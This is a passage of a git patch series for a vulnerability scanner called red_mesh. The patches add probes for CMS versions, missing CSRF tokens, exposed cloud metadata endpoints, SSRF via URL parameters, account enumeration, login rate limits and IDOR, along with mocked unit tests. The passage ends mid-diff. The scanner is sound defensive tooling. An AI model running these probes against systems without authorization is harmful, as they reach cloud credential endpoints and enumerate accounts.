Joomla detection --- + joomla_version = None + try: + resp = requests.get(base_url + "/administrator/", timeout=3, verify=False, allow_redirects=False) + if resp.status_code in (200, 302) and 'joomla' in resp.text.lower(): + joomla_version = "unknown" + try: + resp2 = requests.get(base_url + "/language/en-GB/en-GB.xml", timeout=3, verify=False) + if resp2.ok: + ver_match = _re.search(r'([0-9.]+)', resp2.text) + if ver_match: + joomla_version = ver_match.group(1) + except Exception: + pass + except Exception: + pass + + if joomla_version: + raw["cms"] = "Joomla" + raw["version"] = joomla_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Joomla {joomla_version} detected", + description=f"Joomla {joomla_version} identified on {target}:{port}.", + evidence="Detection via /administrator/ page.", + remediation="Keep Joomla updated to the latest version.", + confidence="certain", + )) + findings_list += self._cms_check_eol("Joomla", joomla_version) + + return probe_result(raw_data=raw, findings=findings_list) + + def _cms_check_eol(self, cms_name, version): + """Check if a CMS version is end-of-life.""" + findings = [] + if version == "unknown": + return findings + eol_map = self._CMS_EOL.get(cms_name, {}) + major = version.split(".")[0] + eol_date = eol_map.get(major) + if eol_date: + findings.append(Finding( + severity=Severity.HIGH, + title=f"{cms_name} {version} is end-of-life (EOL since {eol_date})", + description=f"This {cms_name} version no longer receives security patches.", + evidence=f"Version: {version}, EOL: {eol_date}", + remediation=f"Upgrade to the latest supported {cms_name} version.", + owasp_id="A06:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + return findings diff --git a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py index 94b65785..04fdb9fb 100644 --- a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py @@ -1,3 +1,4 @@ +import re as _re import requests from urllib.parse import quote @@ -300,3 +301,88 @@ def _web_test_http_methods(self, target, port): return probe_error(target, port, "http_methods", e) return probe_result(findings=findings_list) + + + # Regex for POST forms and hidden inputs (CSRF detection) + _FORM_RE = _re.compile( + r']*method\s*=\s*["\']?post["\']?[^>]*>(.*?)', + _re.IGNORECASE | _re.DOTALL, + ) + _HIDDEN_INPUT_RE = _re.compile( + r']*type\s*=\s*["\']?hidden["\']?[^>]*name\s*=\s*["\']?([^"\'>\s]+)', + _re.IGNORECASE, + ) + _CSRF_FIELD_NAMES = frozenset({ + "csrf_token", "_token", "csrfmiddlewaretoken", + "authenticity_token", "__requestverificationtoken", + "_csrf", "csrf", "xsrf_token", "_xsrf", + "anti-forgery-token", "__antiforgerytoken", + }) + + def _web_test_csrf(self, target, port): + """ + Detect POST forms missing CSRF protection tokens. + + Checks the landing page, /login, /contact, and /register for +
tags without a CSRF-like hidden field. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Web port to probe. + + Returns + ------- + dict + Structured findings about missing CSRF protection. + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" + if port not in (80, 443): + base_url = f"{scheme}://{target}:{port}" + + for path in ("/", "/login", "/contact", "/register"): + try: + resp = requests.get(base_url + path, timeout=3, verify=False) + if resp.status_code != 200: + continue + + # Check response headers for SPA-style CSRF tokens + has_header_token = any( + h.lower() in resp.headers + for h in ("x-csrf-token", "x-xsrf-token") + ) + if has_header_token: + continue + + for form_match in self._FORM_RE.finditer(resp.text): + form_html = form_match.group(1) + hidden_names = { + name.lower() + for name in self._HIDDEN_INPUT_RE.findall(form_html) + } + if hidden_names & self._CSRF_FIELD_NAMES: + continue # has CSRF token — OK + + # Extract form action for evidence + action_match = _re.search(r'action\s*=\s*["\']?([^"\'>\s]+)', form_match.group(0), _re.IGNORECASE) + action = action_match.group(1) if action_match else path + + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"POST form at {path} missing CSRF token", + description="A form submitting via POST has no hidden CSRF token field, " + "making it vulnerable to cross-site request forgery.", + evidence=f"Form action={action}, hidden fields={sorted(hidden_names) if hidden_names else 'none'}", + remediation="Add a CSRF token to all state-changing forms.", + owasp_id="A01:2021", + cwe_id="CWE-352", + confidence="firm", + )) + except Exception: + continue + + return probe_result(findings=findings_list) From c641cba78fb365b59abf35fe5b9e40ea11bfc99b Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 16:09:37 +0000 Subject: [PATCH 24/42] feat: add OWASP-10 identification --- .../business/cybersec/red_mesh/constants.py | 27 +- .../cybersec/red_mesh/correlation_mixin.py | 54 +- .../cybersec/red_mesh/service_mixin.py | 2 +- .../cybersec/red_mesh/test_redmesh.py | 594 ++++++++++++++++++ .../cybersec/red_mesh/web_api_mixin.py | 85 ++- .../cybersec/red_mesh/web_discovery_mixin.py | 282 ++++++++- .../cybersec/red_mesh/web_hardening_mixin.py | 335 ++++++++++ .../cybersec/red_mesh/web_injection_mixin.py | 82 +++ 8 files changed, 1438 insertions(+), 23 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 1b063290..62ecbeab 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -48,7 +48,7 @@ "label": "Discovery", "description": "Enumerate exposed files, admin panels, homepage secrets, tech fingerprinting, and VPN endpoints (OWASP WSTG-INFO).", "category": "web", - "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint"] + "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint", "_web_test_verbose_errors"] }, { "id": "web_hardening", @@ -62,7 +62,7 @@ "label": "API exposure", "description": "Detect GraphQL introspection leaks, cloud metadata endpoints, and API auth bypass (OWASP WSTG-APIT).", "category": "web", - "methods": ["_web_test_graphql_introspection", "_web_test_metadata_endpoints", "_web_test_api_auth_bypass"] + "methods": ["_web_test_graphql_introspection", "_web_test_metadata_endpoints", "_web_test_api_auth_bypass", "_web_test_ssrf_basic"] }, { "id": "web_injection", @@ -71,6 +71,20 @@ "category": "web", "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection"] }, + { + "id": "web_auth_design", + "label": "Authentication & design flaws", + "description": "Detect account enumeration, missing rate limiting, and IDOR indicators (OWASP A04).", + "category": "web", + "methods": ["_web_test_account_enumeration", "_web_test_rate_limiting", "_web_test_idor_indicators"] + }, + { + "id": "web_integrity", + "label": "Software integrity", + "description": "Check subresource integrity, mixed content, and client-side library versions (OWASP A08).", + "category": "web", + "methods": ["_web_test_subresource_integrity", "_web_test_mixed_content", "_web_test_js_library_versions"] + }, { "id": "active_auth", "label": "Credential testing", @@ -173,6 +187,15 @@ "_service_info_mysql_creds": frozenset({"mysql"}), "_service_info_postgresql_creds": frozenset({"postgresql"}), "_service_info_http_basic_auth": frozenset({"http", "https"}), + # OWASP full coverage probes + "_web_test_ssrf_basic": frozenset({"http", "https"}), + "_web_test_account_enumeration": frozenset({"http", "https"}), + "_web_test_rate_limiting": frozenset({"http", "https"}), + "_web_test_idor_indicators": frozenset({"http", "https"}), + "_web_test_subresource_integrity": frozenset({"http", "https"}), + "_web_test_mixed_content": frozenset({"http", "https"}), + "_web_test_js_library_versions": frozenset({"http", "https"}), + "_web_test_verbose_errors": frozenset({"http", "https"}), } # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/correlation_mixin.py b/extensions/business/cybersec/red_mesh/correlation_mixin.py index 63d143f6..1f77d97c 100644 --- a/extensions/business/cybersec/red_mesh/correlation_mixin.py +++ b/extensions/business/cybersec/red_mesh/correlation_mixin.py @@ -76,16 +76,19 @@ class _CorrelationMixin: def _post_scan_correlate(self): """Entry point: run all correlation checks and store findings.""" + findings = [] + + # Scan-metadata-dependent correlations meta = self.state.get("scan_metadata") - if not meta: - return + if meta: + findings += self._correlate_port_ratio() + findings += self._correlate_os_consistency() + findings += self._correlate_infrastructure_leak() + findings += self._correlate_tls_consistency() + findings += self._correlate_timezone_drift() - findings = [] - findings += self._correlate_port_ratio() - findings += self._correlate_os_consistency() - findings += self._correlate_infrastructure_leak() - findings += self._correlate_tls_consistency() - findings += self._correlate_timezone_drift() + # Cross-probe correlations (don't require scan_metadata) + findings += self._correlate_redirect_ssrf() if findings: self.P(f"Correlation engine produced {len(findings)} findings.") @@ -211,3 +214,38 @@ def _correlate_timezone_drift(self): confidence="firm", )) return findings + + def _correlate_redirect_ssrf(self): + """Flag SSRF chaining risk if open redirect + internal services detected.""" + findings = [] + web_info = self.state.get("web_tests_info", {}) + + has_open_redirect = False + has_metadata = False + + for port_data in web_info.values(): + for probe_name, result in port_data.items(): + if not isinstance(result, dict): + continue + for f in result.get("findings", []): + title = f.get("title", "") if isinstance(f, dict) else "" + if "open redirect" in title.lower(): + has_open_redirect = True + if "metadata" in title.lower() and "exposed" in title.lower(): + has_metadata = True + + if has_open_redirect and has_metadata: + findings.append(Finding( + severity=Severity.MEDIUM, + title="Open redirect may enable SSRF to cloud metadata", + description="An open redirect was found alongside accessible cloud metadata " + "endpoints. If internal services follow redirects, an attacker " + "can chain the redirect to access metadata credentials.", + evidence="Open redirect + cloud metadata endpoint both detected.", + remediation="Fix the open redirect; ensure internal HTTP clients do not follow " + "redirects to metadata IPs.", + owasp_id="A10:2021", + cwe_id="CWE-918", + confidence="tentative", + )) + return findings diff --git a/extensions/business/cybersec/red_mesh/service_mixin.py b/extensions/business/cybersec/red_mesh/service_mixin.py index 0c835b40..5d393799 100644 --- a/extensions/business/cybersec/red_mesh/service_mixin.py +++ b/extensions/business/cybersec/red_mesh/service_mixin.py @@ -2721,7 +2721,7 @@ def _try_telnet_login(user, passwd): description="Root-level shell access was obtained over an unencrypted Telnet session.", evidence=f"uid=0 in id output: {uid_line}", remediation="Disable root login via Telnet; use SSH with key-based auth instead.", - owasp_id="A04:2021", + owasp_id="A07:2021", cwe_id="CWE-250", confidence="certain", )) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 87fe0492..e0469093 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -5040,6 +5040,599 @@ def test_smb_share_wiring_admin_shares_high(self): self.assertTrue(any("admin shares" in t.lower() for t in titles), f"titles={titles}") +class TestOWASPFullCoverage(unittest.TestCase): + """Tests for OWASP Top 10 full coverage probes (A04, A08, A09, A10 + re-tags).""" + + def setUp(self): + if MANUAL_RUN: + print() + color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') + + def tearDown(self): + if MANUAL_RUN: + color_print(f"[MANUAL] <<< Finished <{self._testMethodName}>", color='b') + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-owasp", + initiator="init@example", + local_id_prefix="1", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ── Phase 1: Re-tag verification ──────────────────────────────────── + + def test_metadata_endpoints_tagged_a10(self): + """Cloud metadata findings should use owasp_id A10:2021.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = "ami-id instance-id" + with patch( + "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_metadata_endpoints("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect at least one metadata endpoint") + for f in findings: + self.assertEqual(f["owasp_id"], "A10:2021") + + def test_homepage_private_key_tagged_a08(self): + """Private key in homepage should use owasp_id A08:2021.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = "-----BEGIN RSA PRIVATE KEY----- some key data" + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_homepage("example.com", 80) + findings = result.get("findings", []) + pk_findings = [f for f in findings if "private key" in f["title"].lower()] + self.assertTrue(len(pk_findings) > 0, "Should detect private key") + self.assertEqual(pk_findings[0]["owasp_id"], "A08:2021") + + def test_homepage_api_key_still_a01(self): + """API key in homepage should still use A01:2021.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = "var API_KEY = 'abc123';" + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_homepage("example.com", 80) + findings = result.get("findings", []) + api_findings = [f for f in findings if "api key" in f["title"].lower()] + self.assertTrue(len(api_findings) > 0) + self.assertEqual(api_findings[0]["owasp_id"], "A01:2021") + + # ── Phase 2: A10 SSRF ────────────────────────────────────────────── + + def test_ssrf_metadata_azure(self): + """Azure IMDS endpoint should be detected.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, headers=None): + resp = MagicMock() + if "api-version" in url: + resp.status_code = 200 + resp.text = "hostname" + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_metadata_endpoints("example.com", 80) + findings = result.get("findings", []) + azure_findings = [f for f in findings if "Azure" in f["title"]] + self.assertTrue(len(azure_findings) > 0, "Should detect Azure IMDS") + self.assertEqual(azure_findings[0]["owasp_id"], "A10:2021") + + def test_ssrf_basic_url_param(self): + """SSRF basic probe should detect metadata in URL parameter response.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=4, verify=False, headers=None): + resp = MagicMock() + if "url=http" in url: + resp.status_code = 200 + resp.text = "ami-id i-1234567890 instance-id" + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_ssrf_basic("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect SSRF via URL param") + self.assertEqual(findings[0]["owasp_id"], "A10:2021") + self.assertEqual(findings[0]["severity"], "CRITICAL") + + def test_ssrf_basic_no_false_positive(self): + """Normal pages should not trigger SSRF findings.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = "Welcome" + with patch( + "extensions.business.cybersec.red_mesh.web_api_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_ssrf_basic("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + # ── Phase 3: A04 Insecure Design ─────────────────────────────────── + + def test_account_enum_different_responses(self): + """Different error messages for valid/invalid users → enumeration finding.""" + owner, worker = self._build_worker() + call_count = [0] + + def fake_post(url, data=None, timeout=3, verify=False, allow_redirects=False): + resp = MagicMock() + resp.status_code = 200 + call_count[0] += 1 + username = data.get("username", "") if data else "" + if "nonexistent_user_" in username: + resp.text = "Error: user not found" + else: + resp.text = "Error: invalid password" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + side_effect=fake_post, + ), patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + side_effect=fake_post, + ): + result = worker._web_test_account_enumeration("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect account enumeration") + self.assertEqual(findings[0]["owasp_id"], "A04:2021") + + def test_account_enum_same_response(self): + """Identical responses for all users → no enumeration finding.""" + owner, worker = self._build_worker() + + def fake_post(url, data=None, timeout=3, verify=False, allow_redirects=False): + resp = MagicMock() + resp.status_code = 200 + resp.text = "Error: invalid credentials" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + side_effect=fake_post, + ), patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + side_effect=fake_post, + ): + result = worker._web_test_account_enumeration("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_rate_limiting_absent(self): + """5 requests all accepted → rate limiting finding.""" + owner, worker = self._build_worker() + + def fake_request(url, *args, **kwargs): + resp = MagicMock() + resp.status_code = 200 + resp.text = "invalid credentials" + resp.headers = {} + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + side_effect=fake_request, + ), patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + side_effect=fake_request, + ), patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin._time.sleep", + ): + result = worker._web_test_rate_limiting("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect missing rate limiting") + self.assertEqual(findings[0]["owasp_id"], "A04:2021") + self.assertIn("CWE-307", findings[0]["cwe_id"]) + + def test_rate_limiting_present(self): + """429 response → no finding.""" + owner, worker = self._build_worker() + call_count = [0] + + def fake_post(url, *args, **kwargs): + resp = MagicMock() + call_count[0] += 1 + resp.text = "" + resp.headers = {} + if call_count[0] >= 3: + resp.status_code = 429 + else: + resp.status_code = 200 + return resp + + def fake_get(url, *args, **kwargs): + resp = MagicMock() + resp.status_code = 200 + resp.text = "" + resp.headers = {} + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.post", + side_effect=fake_post, + ), patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + side_effect=fake_get, + ), patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin._time.sleep", + ): + result = worker._web_test_rate_limiting("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_idor_sequential_with_pii(self): + """Sequential IDs with PII in response → MEDIUM finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False): + resp = MagicMock() + if "/api/users/1" in url: + resp.status_code = 200 + resp.text = '{"id": 1, "email": "alice@example.com", "name": "Alice"}' + elif "/api/users/2" in url: + resp.status_code = 200 + resp.text = '{"id": 2, "email": "bob@example.com", "name": "Bob"}' + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_idor_indicators("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0) + self.assertEqual(findings[0]["severity"], "MEDIUM") + self.assertEqual(findings[0]["owasp_id"], "A04:2021") + + def test_idor_auth_required(self): + """401 for all → no finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 401 + resp.text = "Unauthorized" + with patch( + "extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_idor_indicators("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + # ── Phase 4: A08 Integrity ───────────────────────────────────────── + + def test_sri_missing_external_script(self): + """External script without integrity= → MEDIUM finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_subresource_integrity("example.com", 80) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0) + self.assertEqual(findings[0]["owasp_id"], "A08:2021") + self.assertIn("SRI", findings[0]["title"]) + + def test_sri_present(self): + """External script with integrity= → no finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_subresource_integrity("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_sri_same_origin_ignored(self): + """Same-origin script → no finding regardless of SRI.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_subresource_integrity("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_mixed_content_script(self): + """HTTPS page with HTTP script → HIGH finding.""" + owner, worker = self._build_worker(ports=[443]) + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_mixed_content("example.com", 443) + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0) + self.assertEqual(findings[0]["severity"], "HIGH") + self.assertEqual(findings[0]["owasp_id"], "A08:2021") + + def test_mixed_content_https_only(self): + """All resources over HTTPS → no finding.""" + owner, worker = self._build_worker(ports=[443]) + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_hardening_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_mixed_content("example.com", 443) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_mixed_content_non_https_port_skipped(self): + """Mixed content check only runs on HTTPS ports.""" + owner, worker = self._build_worker(ports=[80]) + result = worker._web_test_mixed_content("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_js_lib_angularjs_eol(self): + """AngularJS detected → MEDIUM EOL finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_js_library_versions("example.com", 80) + findings = result.get("findings", []) + eol_findings = [f for f in findings if "end-of-life" in f["title"].lower()] + self.assertTrue(len(eol_findings) > 0, "Should flag AngularJS as EOL") + self.assertEqual(eol_findings[0]["owasp_id"], "A08:2021") + + def test_js_lib_version_detected(self): + """jQuery version detected → INFO finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 200 + resp.text = '' + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_js_library_versions("example.com", 80) + findings = result.get("findings", []) + jquery_findings = [f for f in findings if "jQuery" in f["title"]] + self.assertTrue(len(jquery_findings) > 0, "Should detect jQuery") + self.assertEqual(jquery_findings[0]["severity"], "INFO") + + # ── Phase 5: A09 Logging/Monitoring ───────────────────────────────── + + def test_verbose_error_python_traceback(self): + """Python traceback in 404 page → MEDIUM finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=None): + resp = MagicMock() + resp.status_code = 404 if "nonexistent_" in url else 200 + if "nonexistent_" in url: + resp.text = 'Traceback (most recent call last):\n File "app.py", line 42' + else: + resp.text = "Welcome" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_verbose_errors("example.com", 80) + findings = result.get("findings", []) + traceback_findings = [f for f in findings if "stack trace" in f["title"].lower()] + self.assertTrue(len(traceback_findings) > 0, "Should detect Python traceback") + self.assertEqual(traceback_findings[0]["owasp_id"], "A09:2021") + + def test_verbose_error_clean_404(self): + """Generic 404 page → no finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=None): + resp = MagicMock() + resp.status_code = 404 if "nonexistent_" in url else 200 + resp.text = "Not Found" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_verbose_errors("example.com", 80) + self.assertEqual(len(result.get("findings", [])), 0) + + def test_debug_mode_django(self): + """Django debug toolbar marker in homepage → HIGH finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=None): + resp = MagicMock() + resp.status_code = 200 + if "nonexistent_" in url: + resp.text = "Page Not Found" + elif "__debug__" in url: + resp.status_code = 404 + resp.text = "" + else: + resp.text = '
debug toolbar
' + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_verbose_errors("example.com", 80) + findings = result.get("findings", []) + debug_findings = [f for f in findings if "debug mode" in f["title"].lower()] + self.assertTrue(len(debug_findings) > 0, "Should detect Django debug mode") + self.assertEqual(debug_findings[0]["owasp_id"], "A09:2021") + + def test_debug_endpoint_actuator(self): + """Spring Boot /actuator returning 200 → HIGH finding via _web_test_common.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=2, verify=False): + resp = MagicMock() + resp.headers = {} + resp.reason = "OK" + if "/actuator" in url: + resp.status_code = 200 + resp.text = '{"_links": {"beans": ...}}' + else: + resp.status_code = 404 + resp.text = "" + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_common("example.com", 80) + findings = result.get("findings", []) + actuator_findings = [f for f in findings if "actuator" in f.get("title", "").lower()] + self.assertTrue(len(actuator_findings) > 0, "Should detect /actuator") + self.assertEqual(actuator_findings[0]["owasp_id"], "A09:2021") + + def test_debug_endpoint_404(self): + """/actuator returning 404 → no finding.""" + owner, worker = self._build_worker() + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + resp.headers = {} + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + return_value=resp, + ): + result = worker._web_test_common("example.com", 80) + findings = result.get("findings", []) + actuator_findings = [f for f in findings if "actuator" in f.get("title", "").lower()] + self.assertEqual(len(actuator_findings), 0) + + def test_correlation_open_redirect_ssrf(self): + """Open redirect + metadata endpoint → correlation finding.""" + owner, worker = self._build_worker() + worker.state["scan_metadata"] = {} + worker.state["web_tests_info"] = { + 80: { + "_web_test_open_redirect": { + "findings": [{"title": "Open redirect via next parameter", "severity": "MEDIUM"}], + }, + "_web_test_metadata_endpoints": { + "findings": [{"title": "Cloud metadata endpoint exposed (AWS EC2)", "severity": "CRITICAL"}], + }, + } + } + worker._post_scan_correlate() + corr = worker.state.get("correlation_findings", []) + redirect_ssrf = [f for f in corr if "redirect" in f["title"].lower() and "ssrf" in f["title"].lower()] + self.assertTrue(len(redirect_ssrf) > 0, "Should produce redirect→SSRF correlation") + + # ── Phase 6: A06 WordPress plugins ────────────────────────────────── + + def test_wp_plugin_version_exposed(self): + """WordPress plugin readme.txt with version → LOW finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=False): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + if "readme.txt" in url and "elementor" in url: + resp.text = "=== Elementor ===\nStable tag: 3.18.0\nRequires PHP: 7.4" + elif "readme.txt" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + elif "wp-login" in url: + resp.text = "wordpress wp-login" + else: + resp.text = '' + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("example.com", 80) + findings = result.get("findings", []) + plugin_findings = [f for f in findings if "plugin" in f.get("title", "").lower()] + self.assertTrue(len(plugin_findings) > 0, "Should detect Elementor plugin") + self.assertIn("3.18.0", plugin_findings[0]["title"]) + self.assertEqual(plugin_findings[0]["owasp_id"], "A06:2021") + + def test_wp_plugin_not_found(self): + """Plugin readme.txt returning 404 → no plugin finding.""" + owner, worker = self._build_worker() + + def fake_get(url, timeout=3, verify=False, allow_redirects=False): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + if "readme.txt" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + elif "wp-login" in url: + resp.text = "wordpress wp-login" + else: + resp.text = '' + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("example.com", 80) + findings = result.get("findings", []) + plugin_findings = [f for f in findings if "plugin" in f.get("title", "").lower()] + self.assertEqual(len(plugin_findings), 0) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -5064,4 +5657,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17bMediumFeatures)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestOWASPFullCoverage)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_api_mixin.py b/extensions/business/cybersec/red_mesh/web_api_mixin.py index d14d0e0a..a0aef396 100644 --- a/extensions/business/cybersec/red_mesh/web_api_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_api_mixin.py @@ -75,15 +75,20 @@ def _web_test_metadata_endpoints(self, target, port): if port not in (80, 443): base_url = f"{scheme}://{target}:{port}" + # (path, provider, extra_headers) metadata_paths = [ - ("/latest/meta-data/", "AWS EC2"), - ("/metadata/computeMetadata/v1/", "GCP"), - ("/computeMetadata/v1/", "GCP (alt)"), + ("/latest/meta-data/", "AWS EC2", {}), + ("/metadata/computeMetadata/v1/", "GCP", {"Metadata-Flavor": "Google"}), + ("/computeMetadata/v1/", "GCP (alt)", {"Metadata-Flavor": "Google"}), + ("/metadata/instance?api-version=2021-02-01", "Azure IMDS", {"Metadata": "true"}), + ("/metadata/v1/", "DigitalOcean", {}), + ("/latest/meta-data", "Alibaba Cloud ECS", {}), + ("/opc/v2/instance/", "Oracle Cloud", {}), ] try: - for path, provider in metadata_paths: + for path, provider, extra_headers in metadata_paths: url = base_url.rstrip("/") + path - resp = requests.get(url, timeout=3, verify=False, headers={"Metadata-Flavor": "Google"}) + resp = requests.get(url, timeout=3, verify=False, headers=extra_headers) if resp.status_code == 200: findings_list.append(Finding( severity=Severity.CRITICAL, @@ -92,7 +97,7 @@ def _web_test_metadata_endpoints(self, target, port): "IAM credentials, instance identity tokens, and cloud configuration.", evidence=f"GET {url} returned 200 OK.", remediation="Block metadata endpoint access from application layer; use IMDSv2 (AWS) or metadata concealment.", - owasp_id="A05:2021", + owasp_id="A10:2021", cwe_id="CWE-918", confidence="certain", )) @@ -103,6 +108,74 